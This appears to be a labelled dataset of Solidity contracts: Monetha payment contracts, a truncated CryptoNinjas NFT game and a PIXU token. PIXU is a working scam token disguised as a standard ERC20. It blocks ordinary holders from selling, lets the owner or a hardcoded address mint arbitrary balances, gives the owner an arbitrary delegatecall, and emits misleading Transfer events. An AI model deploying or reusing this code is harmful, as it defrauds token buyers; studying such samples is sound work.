symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 594 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract Destructible is Ownable {
function Destructible() payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract Contactable is Ownable{
string public contactInformation;
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
}
contract Restricted is Ownable {
event MonethaAddressSet(
address _address,
bool _isMonethaAddress
);
mapping (address => bool) public isMonethaAddress;
modifier onlyMonetha() {
require(isMonethaAddress[msg.sender]);
_;
}
function setMonethaAddress(address _address, bool _isMonethaAddress) onlyOwner public {
isMonethaAddress[_address] = _isMonethaAddress;
MonethaAddressSet(_address, _isMonethaAddress);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function decimals() public view returns(uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract MonethaGateway is Pausable, Contactable, Destructible, Restricted {
using SafeMath for uint256;
string constant VERSION = "0.5";
uint public constant FEE_PERMILLE = 15;
address public monethaVault;
address public admin;
event PaymentProcessedEther(address merchantWallet, uint merchantIncome, uint monethaIncome);
event PaymentProcessedToken(address tokenAddress, address merchantWallet, uint merchantIncome, uint monethaIncome);
constructor(address _monethaVault, address _admin) public {
require(_monethaVault != 0x0);
monethaVault = _monethaVault;
setAdmin(_admin);
}
function acceptPayment(address _merchantWallet, uint _monethaFee) external payable onlyMonetha whenNotPaused {
require(_merchantWallet != 0x0);
require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(msg.value).div(1000));
uint merchantIncome = msg.value.sub(_monethaFee);
_merchantWallet.transfer(merchantIncome);
monethaVault.transfer(_monethaFee);
emit PaymentProcessedEther(_merchantWallet, merchantIncome, _monethaFee);
}
function acceptTokenPayment(
address _merchantWallet,
uint _monethaFee,
address _tokenAddress,
uint _value
)
external onlyMonetha whenNotPaused
{
require(_merchantWallet != 0x0);
require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(_value).div(1000));
uint merchantIncome = _value.sub(_monethaFee);
ERC20(_tokenAddress).transfer(_merchantWallet, merchantIncome);
ERC20(_tokenAddress).transfer(monethaVault, _monethaFee);
emit PaymentProcessedToken(_tokenAddress, _merchantWallet, merchantIncome, _monethaFee);
}
function changeMonethaVault(address newVault) external onlyOwner whenNotPaused {
monethaVault = newVault;
}
function setMonethaAddress(address _address, bool _isMonethaAddress) public {
require(msg.sender == admin || msg.sender == owner);
isMonethaAddress[_address] = _isMonethaAddress;
emit MonethaAddressSet(_address, _isMonethaAddress);
}
function setAdmin(address _admin) public onlyOwner {
require(_admin != 0x0);
admin = _admin;
}
}
contract SafeDestructible is Ownable {
function destroy() onlyOwner public {
require(this.balance == 0);
selfdestruct(owner);
}
}
contract MerchantWallet is Pausable, SafeDestructible, Contactable, Restricted {
string constant VERSION = "0.5";
address public merchantAccount;
address public merchantFundAddress;
bytes32 public merchantIdHash;
mapping (string=>string) profileMap;
mapping (string=>string) paymentSettingsMap;
mapping (string=>uint32) compositeReputationMap;
uint8 public constant REPUTATION_DECIMALS = 4;
modifier onlyMerchant() {
require(msg.sender == merchantAccount);
_;
}
modifier isEOA(address _fundAddress) {
uint256 _codeLength;
assembly {_codeLength := extcodesize(_fundAddress)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyMerchantOrMonetha() {
require(msg.sender == merchantAccount || isMonethaAddress[msg.sender]);
_;
}
constructor(address _merchantAccount, string _merchantId, address _fundAddress) public isEOA(_fundAddress) {
require(_merchantAccount != 0x0);
require(bytes(_merchantId).length > 0);
merchantAccount = _merchantAccount;
merchantIdHash = keccak256(_merchantId);
merchantFundAddress = _fundAddress;
}
function () external payable {
}
function profile(string key) external constant returns (string) {
return profileMap[key];
}
function paymentSettings(string key) external constant returns (string) {
return paymentSettingsMap[key];
}
function compositeReputation(string key) external constant returns (uint32) {
return compositeReputationMap[key];
}
function setProfile(
string profileKey,
string profileValue,
string repKey,
uint32 repValue
)
external onlyOwner
{
profileMap[profileKey] = profileValue;
if (bytes(repKey).length != 0) {
compositeReputationMap[repKey] = repValue;
}
}
function setPaymentSettings(string key, string value) external onlyOwner {
paymentSettingsMap[key] = value;
}
function setCompositeReputation(string key, uint32 value) external onlyMonetha {
compositeReputationMap[key] = value;
}
function doWithdrawal(address beneficiary, uint amount) private {
require(beneficiary != 0x0);
beneficiary.transfer(amount);
}
function withdrawTo(address beneficiary, uint amount) public onlyMerchant whenNotPaused {
doWithdrawal(beneficiary, amount);
}
function withdraw(uint amount) external onlyMerchant {
withdrawTo(msg.sender, amount);
}
function withdrawToExchange(address depositAccount, uint amount) external onlyMerchantOrMonetha whenNotPaused {
doWithdrawal(depositAccount, amount);
}
function withdrawAllToExchange(address depositAccount, uint min_amount) external onlyMerchantOrMonetha whenNotPaused {
require (address(this).balance >= min_amount);
doWithdrawal(depositAccount, address(this).balance);
}
function changeMerchantAccount(address newAccount) external onlyMerchant whenNotPaused {
merchantAccount = newAccount;
}
function changeFundAddress(address newFundAddress) external onlyMerchant isEOA(newFundAddress) {
merchantFundAddress = newFundAddress;
}
}
contract PrivatePaymentProcessor is Pausable, Destructible, Contactable, Restricted {
using SafeMath for uint256;
string constant VERSION = "0.5";
event OrderPaidInEther(
uint indexed _orderId,
address indexed _originAddress,
uint _price,
uint _monethaFee
);
event OrderPaidInToken(
uint indexed _orderId,
address indexed _originAddress,
address indexed _tokenAddress,
uint _price,
uint _monethaFee
);
event PaymentsProcessed(
address indexed _merchantAddress,
uint _amount,
uint _fee
);
event PaymentRefunding(
uint indexed _orderId,
address indexed _clientAddress,
uint _amount,
string _refundReason
);
event PaymentWithdrawn(
uint indexed _orderId,
address indexed _clientAddress,
uint amount
);
MonethaGateway public monethaGateway;
MerchantWallet public merchantWallet;
bytes32 public merchantIdHash;
enum WithdrawState {Null, Pending, Withdrawn}
struct Withdraw {
WithdrawState state;
uint amount;
address clientAddress;
}
mapping (uint=>Withdraw) public withdrawals;
constructor(
string _merchantId,
MonethaGateway _monethaGateway,
MerchantWallet _merchantWallet
)
public
{
require(bytes(_merchantId).length > 0);
merchantIdHash = keccak256(_merchantId);
setMonethaGateway(_monethaGateway);
setMerchantWallet(_merchantWallet);
}
function payForOrder(
uint _orderId,
address _originAddress,
uint _monethaFee
)
external payable whenNotPaused
{
require(_orderId > 0);
require(_originAddress != 0x0);
require(msg.value > 0);
address fundAddress;
fundAddress = merchantWallet.merchantFundAddress();
if (fundAddress != address(0)) {
monethaGateway.acceptPayment.value(msg.value)(fundAddress, _monethaFee);
} else {
monethaGateway.acceptPayment.value(msg.value)(merchantWallet, _monethaFee);
}
emit OrderPaidInEther(_orderId, _originAddress, msg.value, _monethaFee);
}
function payForOrderInTokens(
uint _orderId,
address _originAddress,
uint _monethaFee,
address _tokenAddress,
uint _orderValue
)
external whenNotPaused
{
require(_orderId > 0);
require(_originAddress != 0x0);
require(_orderValue > 0);
require(_tokenAddress != address(0));
address fundAddress;
fundAddress = merchantWallet.merchantFundAddress();
ERC20(_tokenAddress).transferFrom(msg.sender, address(this), _orderValue);
ERC20(_tokenAddress).transfer(address(monethaGateway), _orderValue);
if (fundAddress != address(0)) {
monethaGateway.acceptTokenPayment(fundAddress, _monethaFee, _tokenAddress, _orderValue);
} else {
monethaGateway.acceptTokenPayment(merchantWallet, _monethaFee, _tokenAddress, _orderValue);
}
emit OrderPaidInToken(_orderId, _originAddress, _tokenAddress, _orderValue, _monethaFee);
}
function refundPayment(
uint _orderId,
address _clientAddress,
string _refundReason
)
external payable onlyMonetha whenNotPaused
{
require(_orderId > 0);
require(_clientAddress != 0x0);
require(msg.value > 0);
require(WithdrawState.Null == withdrawals[_orderId].state);
withdrawals[_orderId] = Withdraw({
state: WithdrawState.Pending,
amount: msg.value,
clientAddress: _clientAddress
});
emit PaymentRefunding(_orderId, _clientAddress, msg.value, _refundReason);
}
function refundTokenPayment(
uint _orderId,
address _clientAddress,
string _refundReason,
uint _orderValue,
address _tokenAddress
)
external onlyMonetha whenNotPaused
{
require(_orderId > 0);
require(_clientAddress != 0x0);
require(_orderValue > 0);
require(_tokenAddress != address(0));
require(WithdrawState.Null == withdrawals[_orderId].state);
ERC20(_tokenAddress).transferFrom(msg.sender, address(this), _orderValue);
withdrawals[_orderId] = Withdraw({
state: WithdrawState.Pending,
amount: _orderValue,
clientAddress: _clientAddress
});
emit PaymentRefunding(_orderId, _clientAddress, _orderValue, _refundReason);
}
function withdrawRefund(uint _orderId)
external whenNotPaused
{
Withdraw storage withdraw = withdrawals[_orderId];
require(WithdrawState.Pending == withdraw.state);
address clientAddress = withdraw.clientAddress;
uint amount = withdraw.amount;
withdraw.state = WithdrawState.Withdrawn;
clientAddress.transfer(amount);
emit PaymentWithdrawn(_orderId, clientAddress, amount);
}
function withdrawTokenRefund(uint _orderId, address _tokenAddress)
external whenNotPaused
{
require(_tokenAddress != address(0));
Withdraw storage withdraw = withdrawals[_orderId];
require(WithdrawState.Pending == withdraw.state);
address clientAddress = withdraw.clientAddress;
uint amount = withdraw.amount;
withdraw.state = WithdrawState.Withdrawn;
ERC20(_tokenAddress).transfer(clientAddress, amount);
emit PaymentWithdrawn(_orderId, clientAddress, amount);
}
function setMonethaGateway(MonethaGateway _newGateway) public onlyOwner {
require(address(_newGateway) != 0x0);
monethaGateway = _newGateway;
}
function setMerchantWallet(MerchantWallet _newWallet) public onlyOwner {
require(address(_newWallet) != 0x0);
require(_newWallet.merchantIdHash() == merchantIdHash);
merchantWallet = _newWallet;
}
} | 1 | 3,162 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PIXU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 450 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
}
contract GeneScienceInterface {
function isGeneScience() public pure returns (bool);
function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256);
}
contract NinjaAccessControl {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract NinjaBase is NinjaAccessControl {
event Birth(
address owner,
uint256 ninjaId,
uint256 matronId,
uint256 sireId,
uint256 genes,
uint256 birthTime
);
event Transfer(address from, address to, uint256 tokenId);
struct Ninja {
uint256 genes;
uint64 birthTime;
uint64 cooldownEndBlock;
uint32 matronId;
uint32 sireId;
uint32 siringWithId;
uint16 cooldownIndex;
uint16 generation;
}
uint32[14] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(10 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days),
uint32(2 days),
uint32(4 days),
uint32(7 days)
];
uint256 public secondsPerBlock = 15;
Ninja[] ninjas;
mapping (uint256 => address) public ninjaIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public ninjaIndexToApproved;
mapping (uint256 => address) public sireAllowedToAddress;
uint32 public destroyedNinjas;
SaleClockAuction public saleAuction;
SiringClockAuction public siringAuction;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_to == address(0)) {
delete ninjaIndexToOwner[_tokenId];
} else {
ownershipTokenCount[_to]++;
ninjaIndexToOwner[_tokenId] = _to;
}
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete sireAllowedToAddress[_tokenId];
delete ninjaIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _createNinja(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _genes,
address _owner
)
internal
returns (uint)
{
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
uint16 cooldownIndex = uint16(_generation / 2);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
Ninja memory _ninja = Ninja({
genes: _genes,
birthTime: uint64(now),
cooldownEndBlock: 0,
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: cooldownIndex,
generation: uint16(_generation)
});
uint256 newNinjaId = ninjas.push(_ninja) - 1;
require(newNinjaId == uint256(uint32(newNinjaId)));
Birth(
_owner,
newNinjaId,
uint256(_ninja.matronId),
uint256(_ninja.sireId),
_ninja.genes,
uint256(_ninja.birthTime)
);
_transfer(0, _owner, newNinjaId);
return newNinjaId;
}
function _destroyNinja(uint256 _ninjaId) internal {
require(_ninjaId > 0);
address from = ninjaIndexToOwner[_ninjaId];
require(from != address(0));
destroyedNinjas++;
_transfer(from, 0, _ninjaId);
}
function setSecondsPerBlock(uint256 secs) external onlyCLevel {
require(secs < cooldowns[0]);
secondsPerBlock = secs;
}
}
contract NinjaExtension is NinjaBase {
event Lock(uint256 ninjaId, uint16 mask);
mapping (address => bool) extensions;
mapping (uint256 => uint16) locks;
uint16 constant LOCK_BREEDING = 1;
uint16 constant LOCK_TRANSFER = 2;
uint16 constant LOCK_ALL = LOCK_BREEDING | LOCK_TRANSFER;
function addExtension(address _contract) external onlyCEO {
extensions[_contract] = true;
}
function removeExtension(address _contract) external onlyCEO {
delete extensions[_contract];
}
modifier onlyExtension() {
require(extensions[msg.sender] == true);
_;
}
function extCreateNinja(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _genes,
address _owner
)
public
onlyExtension
returns (uint)
{
return _createNinja(_matronId, _sireId, _generation, _genes, _owner);
}
function extDestroyNinja(uint256 _ninjaId)
public
onlyExtension
{
require(locks[_ninjaId] == 0);
_destroyNinja(_ninjaId);
}
function extLockNinja(uint256 _ninjaId, uint16 _mask)
public
onlyExtension
{
_lockNinja(_ninjaId, _mask);
}
function _lockNinja(uint256 _ninjaId, uint16 _mask)
internal
{
require(_mask > 0);
uint16 mask = locks[_ninjaId];
require(mask & _mask == 0);
if (_mask & LOCK_BREEDING > 0) {
Ninja storage ninja = ninjas[_ninjaId];
require(ninja.siringWithId == 0);
}
if (_mask & LOCK_TRANSFER > 0) {
address owner = ninjaIndexToOwner[_ninjaId];
require(owner != address(saleAuction));
require(owner != address(siringAuction));
}
mask |= _mask;
locks[_ninjaId] = mask;
Lock(_ninjaId, mask);
}
function extUnlockNinja(uint256 _ninjaId, uint16 _mask)
public
onlyExtension
returns (uint16)
{
_unlockNinja(_ninjaId, _mask);
}
function _unlockNinja(uint256 _ninjaId, uint16 _mask)
internal
{
require(_mask > 0);
uint16 mask = locks[_ninjaId];
require(mask & _mask == _mask);
mask ^= _mask;
locks[_ninjaId] = mask;
Lock(_ninjaId, mask);
}
function extGetLock(uint256 _ninjaId)
public
view
onlyExtension
returns (uint16)
{
return locks[_ninjaId];
}
}
contract NinjaOwnership is NinjaExtension, ERC721 {
string public constant name = "CryptoNinjas";
string public constant symbol = "CBT";
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ninjaIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ninjaIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
ninjaIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_to != address(saleAuction));
require(_to != address(siringAuction));
require(_owns(msg.sender, _tokenId));
require(locks[_tokenId] & LOCK_TRANSFER == 0);
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
require(locks[_tokenId] & LOCK_TRANSFER == 0);
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
require(locks[_tokenId] & LOCK_TRANSFER == 0);
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return ninjas.length - destroyedNinjas;
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = ninjaIndexToOwner[_tokenId];
require(owner != address(0));
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalNinjas = ninjas.length - 1;
uint256 resultIndex = 0;
uint256 ninjaId;
for (ninjaId = 0; ninjaId <= totalNinjas; ninjaId++) {
if (ninjaIndexToOwner[ninjaId] == _owner) {
result[resultIndex] = ninjaId;
resultIndex++;
}
}
return result;
}
}
}
contract NinjaBreeding is NinjaOwnership {
event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 cooldownEndBlock);
uint256 public autoBirthFee = 2 finney;
uint256 public pregnantNinjas;
GeneScienceInterface public geneScience;
function setGeneScienceAddress(address _address) external onlyCEO {
GeneScienceInterface candidateContract = GeneScienceInterface(_address);
require(candidateContract.isGeneScience());
geneScience = candidateContract;
}
function _isReadyToBreed(uint256 _ninjaId, Ninja _ninja) internal view returns (bool) {
return
(_ninja.siringWithId == 0) &&
(_ninja.cooldownEndBlock <= uint64(block.number)) &&
(locks[_ninjaId] & LOCK_BREEDING == 0);
}
function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) {
address matronOwner = ninjaIndexToOwner[_matronId];
address sireOwner = ninjaIndexToOwner[_sireId];
return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner);
}
function _triggerCooldown(Ninja storage _ninja) internal {
_ninja.cooldownEndBlock = uint64((cooldowns[_ninja.cooldownIndex]/secondsPerBlock) + block.number);
if (_ninja.cooldownIndex < 13) {
_ninja.cooldownIndex += 1;
}
}
function approveSiring(address _addr, uint256 _sireId)
external
whenNotPaused
{
require(_owns(msg.sender, _sireId));
sireAllowedToAddress[_sireId] = _addr;
}
function setAutoBirthFee(uint256 val) external onlyCOO {
autoBirthFee = val;
}
function _isReadyToGiveBirth(Ninja _matron) private view returns (bool) {
return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number));
}
function isReadyToBreed(uint256 _ninjaId)
public
view
returns (bool)
{
Ninja storage ninja = ninjas[_ninjaId];
return _ninjaId > 0 && _isReadyToBreed(_ninjaId, ninja);
}
function isPregnant(uint256 _ninjaId)
public
view
